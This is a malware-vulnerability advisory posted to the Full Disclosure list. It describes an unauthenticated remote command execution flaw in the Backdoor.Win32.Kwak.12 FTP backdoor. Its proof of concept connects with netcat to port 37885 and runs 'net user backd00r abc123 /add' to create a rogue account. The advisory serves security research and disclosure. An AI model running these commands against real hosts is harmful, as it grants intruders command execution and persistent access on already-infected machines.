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Date: Thu, 25 Mar 2021 23:53:49 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Kwak.12 / Remote Command Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/c25393545e5ead3a35996ef9a887bd34.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Kwak.12
Vulnerability: Remote Command Execution
Description: The backdoor runs an FTP server that listens on TCP port
37885. The malware is packed using UPX which is trivial to unpack by using
upx -d command, after observe various FTP commands supported using strings
util, we find one interesting string entry named "execute". Turns out this
will let us execute any command on the infected machine. Third-party
adversaries can add a persistent backdoor account on the infected system or
run any command they wish. This is easily accomplished as the malware also
suffers from a authentication bypass issue reference MVID-2021-0147.

execute cmd /c net user backd00r abc123 /add
226 Executing...

On the infected host.

net user

User accounts for \\DESKTOP-2X3IHHP
-------------------------------------------------------------------------------
Administrator            backd00r                 DefaultAccount

Type: PE32
MD5: c25393545e5ead3a35996ef9a887bd34
Vuln ID: MVID-2021-0149
Dropped files:
Disclosure: 03/25/2021

Exploit/PoC:
nc64.exe x.x.x.x 37885

USER malvuln
331 Password required for malvuln.
PASS root
230 User malvuln logged in.

execute cmd /c net user backd00r abc123 /add
226 Executing...

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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